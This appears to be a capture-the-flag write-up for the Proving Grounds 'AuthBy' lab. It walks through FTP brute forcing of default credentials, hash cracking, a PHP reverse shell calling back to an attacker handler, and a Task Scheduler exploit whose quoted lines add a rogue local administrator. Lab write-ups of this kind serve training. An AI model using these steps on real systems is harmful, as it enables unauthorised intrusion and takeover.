AuthBy Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 5 min read
AuthBy exposes anonymous FTP on a zFTPServer install, which leaks a hint about an admin account. Brute forcing that account with the default password admin:admin gives access to a web directory whose .htpasswd hash cracks to a working HTTP Basic Auth credential, used to trigger an uploaded PHP reverse shell. A public Windows Task Scheduler exploit then creates a new local administrator account.
Reconnaissance
Nmap
Scan all TCP ports.
PORT STATE SERVICE 21/tcp open ftp 242/tcp open direct 3145/tcp open csi-lfap 3389/tcp open ms-wbt-server
Explain command
| -p- | Scan all 65535 TCP ports. |
Follow up with version and script scanning on the open ports.
PORT STATE SERVICE VERSION 21/tcp open ftp zFTPServer 6.0 build 2011-10-17 | ftp-anon: Anonymous FTP login allowed (FTP code 230) 242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8) | http-auth: | HTTP/1.1 401 Authorization Required |_ Basic realm=Qui e nuce nuculeum esse volt, frangit nucem! 3145/tcp open zftp-admin zFTPServer admin 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: LIVDA |_ NetBIOS_Computer_Name: LIVDA Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
| -A | Enable OS detection, version detection, script scanning and traceroute. |
zFTPServer allows anonymous login, and an Apache/PHP web server on port 242 sits behind HTTP Basic Auth. Log in to FTP as the anonymous user and enumerate.
Anonymous FTP enumeration
Browse the FTP root.
Name ($TARGET_IP:kali): anonymous 230 User logged in, proceed. ftp> dir dr-xr-xr-x 1 root root 512 Aug 13 04:13 accounts -r--r--r-- 1 root root 8736 Nov 09 2011 Settings.ini
The accounts directory is worth exploring.
dr-xr-xr-x 1 root root 512 Aug 13 04:13 backup -r--r--r-- 1 root root 764 Aug 13 04:13 acc[Offsec].uac -r--r--r-- 1 root root 1030 Dec 28 01:38 acc[anonymous].uac -r--r--r-- 1 root root 926 Aug 13 04:13 acc[admin].uac
A UAC account file confirms an admin account exists. Brute force its FTP password.
Exploitation
FTP admin brute force
Default/weak credentials are common on zFTPServer installs, so run Hydra against the admin account.
[DATA] attacking ftp://$TARGET_IP:21/ [21][ftp] host: $TARGET_IP login: admin password: admin 1 of 1 target successfully completed, 1 valid password found
Explain command
| -e nsr | Also try a null password, the login as password, and the login reversed. |
| -f | Stop on the first valid password found. |
The admin FTP password is the default admin:admin. Log back in with it and enumerate further.
Name ($TARGET_IP:kali): admin 230 User logged in, proceed. ftp> dir -r--r--r-- 1 root root 76 Nov 08 2011 index.php -r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd -r--r--r-- 1 root root 161 Nov 08 2011 .htaccess
This FTP path maps to a web directory served through Apache on port 242. Download all three files for inspection.
index.php has nothing of value. .htaccess points Apache at the .htpasswd file for Basic Auth.
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!" AuthType Basic AuthUserFile C:\wamp\.htpasswd Require valid-user
.htpasswd holds a password hash for the offsec user, so cracking it gives valid HTTP credentials.
offsec:$1$<snip>
The offsec password hash is worth cracking offline.
Password cracking
Run John against it with the rockyou wordlist.
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) $OFFSEC_PASSWORD (offsec) 1g 0:00:00:00 DONE
The offsec password cracks in seconds. The web server runs PHP, so a PHP reverse shell uploaded over FTP and triggered through Basic Auth should execute.
PHP reverse shell via FTP upload
Generate the payload.
Payload size: 1113 bytes
Log back in to FTP as admin and upload it next to the protected PHP files.
Name ($TARGET_IP:kali): admin ftp> put pwn.php 226 Closing data connection. 1113 bytes sent in 0.00 secs (14.9499 MB/s)
Start a Metasploit handler, then trigger the payload with the cracked offsec credential over HTTP Basic Auth.
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
The handler catches a session.
[*] Sending stage (38288 bytes) to $TARGET_IP [*] Meterpreter session 1 opened Server username: apache (0)
Shell as the apache service account. Check the OS build for a known local privilege escalation.
Privilege Escalation
Patch level
Run sysinfo to check hotfixes.
Computer : LIVDA OS : Windows NT LIVDA 6.0 build 6001 (Windows Server 2008 Standard Edition Service Pack 1) i586 Meterpreter : php/windows
An old, unpatched 2008 build. Searchsploit turns up a Windows Task Scheduler privilege escalation exploit.
Task Scheduler privilege escalation
The exploit, EDB-15589, is a .wsf script that creates a new local administrator account when run.
a.WriteLine("net user /add test123 test123")
a.WriteLine("net localgroup administrators /add test123")
Upload it through the Meterpreter session and execute it with cscript.
[*] uploaded : 15589.wsf -> /Users/apache/Desktop/15589.wsf Process 2868 created.
The exploit creates the test123 account with a matching password and adds it to Administrators. Connect over RDP to confirm.
Autoselecting keyboard map 'en-us' from locale <snip> Do you trust this certificate (yes/no)? yes Connection established using SSL.
The session lands as a local administrator on the box.
Related
References
-
Windows Task Scheduler .wsf privilege escalation exploit used to create a local administrator.